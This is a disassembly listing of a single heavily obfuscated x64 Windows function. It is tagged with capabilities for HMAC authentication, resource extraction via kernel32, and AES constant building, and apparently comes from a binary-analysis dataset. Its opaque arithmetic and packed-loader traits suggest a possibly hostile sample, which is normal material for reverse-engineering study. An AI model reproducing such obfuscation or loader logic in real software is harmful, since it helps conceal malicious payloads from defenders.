Function at 0x140008190
Capabilities:
Authenticate hmac
Extract resource via kernel32 functions
Manually build aes constants

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
sub rsp, 0x20
movabs rcx, 0x89dccff7133b832b
mov edx, 0x34
mov r8d, 0xf9
call fcn.140006b10
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov edx, 0x42
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor r13, rax
sub rsp, 0x20
movabs rcx, 0x70701d703056a890
mov rdx, r13
mov r8, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
movabs rdi, 0x7cec2d0e5651b233
lea rcx, [rdi + 9]
sub rsp, 0x20
call fcn.140006b10
mov edx, 0x86
mov r8d, 0x1e
xor ecx, ecx
call fcn.140006b10
mov rcx, rdi
mov rdx, r13
call fcn.140006b10
mov r8d, 0xc1
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x2eb963924ea51396
mov edx, 0x5d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
add rbx, rax
sub rsp, 0x20
movabs rcx, 0xd1469c6dc3b7e849
mov edx, 0x7f
call fcn.140006b10
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov edx, 0xa1
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor r14, rax
add r14, rbx
sub rsp, 0x20
movabs rcx, 0x115759807ae428e6
mov edx, 5
mov r8, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
add edi, ebx
sub rsp, 0x20
movabs rcx, 0xeea8a67f851bd7d3
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
xor ebx, eax
add ebx, edi
sub rsp, 0x20
movabs rcx, 0x9d8387bfef6a7c8f
mov edx, 0x669e9f
call fcn.140006b10
mov edx, 0x91
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0xa473419554cb0481
mov edx, 0x9484ec
call fcn.140006b10
mov edx, 0x1eaf83
xor ecx, ecx
mov r8, r13
call fcn.140006b10
movabs rcx, 0x5960627d4cac5dc3
mov rdx, r13
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0xa69f9d82c5b09e1c
mov rdx, r13
call fcn.140006b10
mov r8d, 0xe9
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov ecx, 0xf
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x7c
mov rcx, r14
call fcn.140006b10
add rsp, 0x20
mov r14, rax
movzx ecx, bl
sub rsp, 0x20
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0x125cfbdf
mov rdx, r13
call fcn.140006b10
sub rsp, 0x20
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x28], bl
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
lea rcx, [0x140014011]
mov r8, rdi
mov r9, r14
call fcn.140006b20
add rsp, 0x40
mov qword [rbp + 0x110], rax
mov rsi, qword [rbp + 0x110]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xff
mov r8d, 0xc4
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 0x7afafa69
mov r8d, 0xb5
mov r9d, 0xb3
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, edi
sub rsp, 0x20
mov ecx, 0xa061440
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, ebx
and esi, 0x1050504
sub rsp, 0x20
mov ecx, 0x1010104
mov r9d, 0xb9
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, esi
add ebx, edi
sub rsp, 0x20
mov ecx, 0xb071544
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
movabs rcx, 0x69dfccb3a6e0b64c
mov edx, 0xae
call fcn.140006b10
mov edx, 0x9a
mov r8d, 0x6c
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov r12, qword [rbp + 0x110]
mov rcx, rsi
add esi, r12d
mov eax, r12d
xor eax, ecx
sub esi, eax
and r12d, ecx
mov r14, rcx
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl r12d, cl
xor r12d, esi
sub rsp, 0x20
movabs rcx, 0x9620334c591f49d4
mov rdx, r13
mov r8, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, r14d
or ebx, r12d
mov esi, r12d
or esi, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov r15, rax
imul r15d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, r12d
sub rsp, 0x20
mov ecx, 2
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
imul eax, edi
mov qword [rbp + 0x148], r14
sub eax, r14d
mov ecx, r12d
xor ecx, r14d
sub ecx, ebx
sub ecx, r15d
xor ecx, eax
mov esi, ecx
mov dword [rbp + 0xe8], ecx
sub rsp, 0x20
movabs rcx, 0x94dc9c41bea652ad
mov edx, 0xc6
mov r8, r13
call fcn.140006b10
mov r8d, 0x8e
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov ecx, 0x16
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, esi
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x3847
mov edx, 0xff
mov r8, r13
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
mov r14, rax
mov qword [rbp + 0xe0], rax
sub rsp, 0x20
mov ecx, 0xc6
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0x148]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
and esi, edi
imul esi, esi
sub rsp, 0x20
mov ecx, 0x933b
mov edx, 0x46
mov r8d, 0xe25a47
mov r9d, 0x97
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, esi
xor eax, eax
cmp r14d, ebx
sete al
mov dword [rbp + 0x138], eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov r14, rax
xor r14d, r12d
or r14d, ebx
mov edi, ebx
or edi, r12d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xfb
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.140006b10
add rsp, 0x20
mov r15, rax
imul r15d, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
imul eax, esi
sub eax, r12d
xor r12d, ebx
sub r12d, r14d
sub r12d, r15d
xor r12d, eax
mov rsi, r12
mov qword [rbp + 0x158], r12
sub rsp, 0x20
movabs rcx, 0x61de4d0e7d53f46
mov edx, 0x22
mov r8d, 0x8d
call fcn.140006b10
add rsp, 0x20
mov eax, ebx
mov r12d, dword [rbp + 0x138]
sub eax, r12d
neg r12d
mov ecx, r12d
xor ecx, ebx
sub eax, ecx
and r12d, ebx
add r12d, r12d
xor r12d, eax
mov dword [rbp + 0x138], r12d
sub rsp, 0x20
movabs rcx, 0xf9e21b2f3067aa29
mov edx, 0x1b
mov r8d, 0xdb
call fcn.140006b10
mov edx, 0x11
xor ecx, ecx
mov r8, r13
call fcn.140006b10
mov ecx, 0x22
mov r8d, 0x9d
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov r12, rax
or r12d, esi
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 7
mov rdx, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
and r12d, eax
imul r12d, r12d
sub rsp, 0x20
mov ecx, 0xaee3
mov edx, 0x3d
mov r8d, 0x2d
call fcn.140006b10
add rsp, 0x20
imul r12d, eax
sub rsp, 0x20
mov ecx, 0x7b
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0x148]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xa2a9
mov edx, 0xbc
mov r8, r13
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor r14d, r14d
cmp r12d, eax
mov rsi, rax
mov qword [rbp + 0xb8], rax
sete r14b
sub rsp, 0x20
movabs rcx, 0x993fb806c2bd4065
mov edx, 0xbb
mov r8d, 0x7d
call fcn.140006b10
add rsp, 0x20
mov r15, rax
neg r14d
xor r15d, r14d
sub rsp, 0x20
mov ecx, 0x7a
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, esi
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x16
mov r9d, 0x7f
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
and esi, edi
imul esi, esi
sub rsp, 0x20
mov ecx, 0x8c8f
mov r8d, 0x2e
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
imul edi, esi
sub rsp, 0x20
mov ecx, 0xb0
mov edx, 0xed
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0xe0]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xf4
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x7ef7
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor ecx, ecx
cmp edi, eax
sete cl
mov dword [rbp + 0xc0], ecx
sub rsp, 0x20
movabs rcx, 0x483ff69cbe9035df
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x6e
mov r8d, 0xf6
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor esi, eax
imul esi, r15d
mov qword [rbp + 0x120], rsi
sub rsp, 0x20
mov ecx, 0x70
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
or r12d, eax
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
and r12d, eax
imul r12d, r12d
sub rsp, 0x20
mov ecx, 0x6745
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
imul r12d, eax
sub rsp, 0x20
mov ecx, 0x46
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x38cf
call fcn.140006b10
add rsp, 0x20
imul eax, edi
xor ecx, ecx
cmp r12d, eax
sete cl
mov esi, ecx
mov dword [rbp + 0x100], ecx
sub rsp, 0x20
movabs rcx, 0x65eb5e12f3d695a2
mov edx, 0xad
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
mov eax, esi
neg eax
mov dword [rbp + 0xf0], eax
xor edi, eax
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xfd
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0xe6
mov rdx, r13
call fcn.140006b10
mov ecx, 2
call fcn.140006b10
movabs rcx, 0x9a14a1ed0c296ad5
mov edx, 0xb6
mov r8d, 0xc5
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov r14, rax
add r14d, esi
add r14d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
mov r15, qword [rbp + 0x158]
xor edi, r15d
or edi, r12d
mov ebx, r12d
mov qword [rbp + 0x148], r12
or ebx, r15d
not ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, r12d
sub rsp, 0x20
mov ecx, 2
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
mov rcx, r15
sub eax, ecx
xor ecx, r12d
sub ecx, edi
sub ecx, esi
xor ecx, eax
mov qword [rbp + 0x158], rcx
sub rsp, 0x20
movabs rcx, 0x22d1614db119e711
mov edx, 0x9e
mov r8d, 0xea
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x9ed6c9
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
add edi, esi
sub rsp, 0x20
mov ecx, 0x66
mov edx, 0xc40445
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x138]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x49e5
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov r12, rax
imul r12d, ebx
sub rsp, 0x20
mov ecx, 0x54
mov edx, 0x1d
mov r8, r13
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xe257
mov edx, 0xe2
mov r8, r13
call fcn.140006b10
movabs rcx, 0x30d6be81533262be
mov edx, 0x57
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
add ebx, eax
imul ebx, edi
sub rsp, 0x20
mov ecx, 0xe
mov r8d, 0x3d
mov r9d, 0xec
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov qword [rbp + 0x58], rax
sub rsp, 0x20
mov ecx, 0x183ce96f
mov edx, 0x5e
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov r15, rax
movzx ecx, byte [rbp + 0x120]
sub rsp, 0x20
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
movzx ecx, r14b
sub rsp, 0x20
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
movzx ecx, bl
sub rsp, 0x20
call fcn.140006b10
sub rsp, 0x20
mov byte [rsp + 0x38], al
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x30], rdx
mov byte [rsp + 0x28], dil
mov byte [rsp + 0x20], sil
lea rcx, [0x140013fe8]
mov r8, qword [rbp + 0x58]
mov r9, r15
call fcn.140006b20
add rsp, 0x40
mov qword [rbp + 0xd0], rax
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x17a76cf917de93c5
mov r8d, 0xbe
mov rdx, r13
call fcn.140006b10
mov edx, 0x4f5002
xor ecx, ecx
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0x1a
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
mov ecx, 0x15f7
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0x50
mov edx, 0x5b9131
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
mov ecx, 0x1d35
mov edx, 0x6c
mov r8, r13
call fcn.140006b10
movabs rcx, 0xa361ab8705859270
mov r8d, 2
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 2
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x3e5fb5a9436c0bbb
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
add rbx, rax
sub rsp, 0x20
mov ecx, 0xaa
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, r12d
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
and esi, edi
imul esi, esi
sub rsp, 0x20
mov ecx, 0x5efd
mov edx, 0x92
call fcn.140006b10
add rsp, 0x20
imul eax, esi
mov qword [rbp + 0x120], rax
sub rsp, 0x20
mov ecx, 0xdf
mov edx, 0x5f
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
mov ecx, 0xd169
call fcn.140006b10
movabs rcx, 0x8542942e05dd12d7
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov edx, 0x44
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add r15, rax
imul r15, rbx
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
mov r8, r13
call fcn.140006b10
movabs r14, 0x6dde80d4267493b7
mov edx, 0xd7
mov rcx, r14
call fcn.140006b10
mov edx, 0x82
xor ecx, ecx
mov r8, r13
call fcn.140006b10
mov ecx, 0xb6
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x148]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xb9
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x5a5b
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
mov ecx, 0xc1
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x158]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 5
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x5e73
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor ecx, ecx
cmp edi, eax
sete cl
mov dword [rbp + 0x158], ecx
add r14, 0x17d3e721
sub rsp, 0x20
mov rcx, r14
call fcn.140006b10
mov edx, 0xff
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
mov edx, 0x13
call fcn.140006b10
add rsp, 0x20
movabs rbx, 0x4215276b2f8c984a
lea rcx, [rbx + 0x5f]
sub rsp, 0x20
mov edx, 0xce
mov r8d, 0x9f
call fcn.140006b10
mov edx, 0xe7
mov r8d, 0xd6
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x5ce564
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x54
mov rdx, r13
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 2
mov edx, 0xb5b058
mov r8d, 0x16
mov r9, r13
call fcn.140006b10
mov rcx, rbx
call fcn.140006b10
mov ecx, 1
mov edx, 0x4d
call fcn.140006b10
mov ecx, 1
mov rdx, r13
mov r8, r13
call fcn.140006b10
movabs rcx, 0xed1451a8c13e2be6
mov edx, 0x766d5f
mov r8, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov edx, 0x49
mov r9d, 0xb5
mov rcx, r15
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0x183ce96f
mov edx, 0xc4
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0xe3
mov r8d, 7
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov ecx, 0x1b
mov edx, 0x23
call fcn.140006b10
sub rsp, 0x20
lea rcx, [0x140013fe8]
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], bl
lea rdx, [rbp - 0x10]
mov r8, rdi
mov r9, rsi
call fcn.140006b20
add rsp, 0x40
mov qword [rbp + 0x78], rax
sub rsp, 0x20
mov ecx, 1
mov edx, 9
mov r8d, 0xda50de
mov r9, r13
call fcn.140006b10
add rsp, 0x20
movabs rbx, 0xfdaa93c6dd8a494
lea rcx, [rbx + 1]
sub rsp, 0x20
mov edx, 0x97
mov r8d, 0xa929b6
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
add edi, esi
mov ecx, dword [rbp + 0xe8]
mov esi, ecx
sub esi, dword [rbp + 0x100]
mov edx, dword [rbp + 0xf0]
mov eax, edx
xor eax, ecx
sub esi, eax
and edx, ecx
mov r14d, edx
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl r14d, cl
xor r14d, esi
sub rsp, 0x20
mov edx, 0x5c
mov rcx, rbx
call fcn.140006b10
add rsp, 0x20
xor eax, edi
xor eax, r14d
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0xf0], rsp
sub rsp, 0x20
mov ecx, 1
mov r8d, 0x4f
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x6094a81ebcdc62df
mov edx, 0xc1
mov r8, r13
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x110]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x3d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x1619a2
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x1a
mov r8d, 0xa1b43d
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 2
mov edx, 0x5b1ffc
mov r8, r13
call fcn.140006b10
movabs rcx, 0x9f6b57e143239d22
mov edx, 0x57
mov r8, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov ecx, 0x41
mov edx, 0x884c99
mov r8d, 0x73
call fcn.140006b10
mov ecx, 0xff
mov edx, 7
mov r8, r13
call fcn.140006b10
mov ecx, 0x6ee9
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xddab
mov edx, 0x7e
call fcn.140006b10
movabs rcx, 0x607a6c7630de22e7
mov edx, 0x79
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0xf1
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
xor ebx, eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 6
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x36
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x4b
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 2
mov edx, 0xc9
call fcn.140006b10
mov edx, 0x1fc7ab
mov r8d, 0x14
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor eax, 0xcf21dd1a
add eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0xe8], rsp
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x8d
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov r8d, 0x8fa3d2
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 2
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x781abbcd1cd56422
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov r8d, 0x1e
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xcc
mov r8d, 0xcb
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x37
call fcn.140006b10
mov ecx, 2
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x87e54432e32a9bdf
mov r8d, 0xf5
mov rdx, r13
mov r9, r13
call fcn.140006b10
mov edx, 1
xor ecx, ecx
mov r8, r13
call fcn.140006b10
mov ecx, 0x60
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r12d
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x3d1f
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, edi
sub rsp, 0x20
mov ecx, 0x71
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x120]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x771d
mov edx, 0xf
mov r9d, 0x2c
mov r8, r13
call fcn.140006b10
add rsp, 0x20
imul eax, edi
xor r12d, r12d
cmp ebx, eax
sete r12b
sub rsp, 0x20
movabs rcx, 0x22458d2d82610e75
mov edx, 0x7d
mov r8, r13
call fcn.140006b10
mov ecx, 0xec
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x60f5
mov edx, 0x37
mov r8d, 0xaee235
call fcn.140006b10
mov ecx, 0x86
mov r8d, 0x44
mov r9d, 0xcf1124
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xae
mov r8d, 0xdf
mov r9, r13
call fcn.140006b10
mov ecx, 0x80e1
mov rdx, r13
call fcn.140006b10
movabs rcx, 0xddba72d27d9ef18c
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov edx, 0x83
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0xab
mov rdx, r13
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xb4
call fcn.140006b10
mov ecx, 2
call fcn.140006b10
movabs rcx, 0x4ca580eea58266db
mov rdx, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0x97
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov r9d, 0x2e3a5f
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0xba79
mov r8d, 7
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, edi
sub rsp, 0x20
mov ecx, 0xd9
mov edx, 0xea
mov r8, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x52
call fcn.140006b10
mov ecx, 0xb989
mov rdx, r13
call fcn.140006b10
movabs rcx, 0xbf1e419075012553
mov rdx, r13
mov r8, r13
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
call fcn.140006b10
movabs rdi, 0x1a05b4d4b270dc28
mov rcx, rdi
call fcn.140006b10
mov r8d, 0x2b
mov r9d, 0xac
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x79
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 4
mov r8, r13
call fcn.140006b10
mov ecx, 2
mov edx, 0x3a
mov r8d, 0x1c6fc6
call fcn.140006b10
add rsp, 0x20
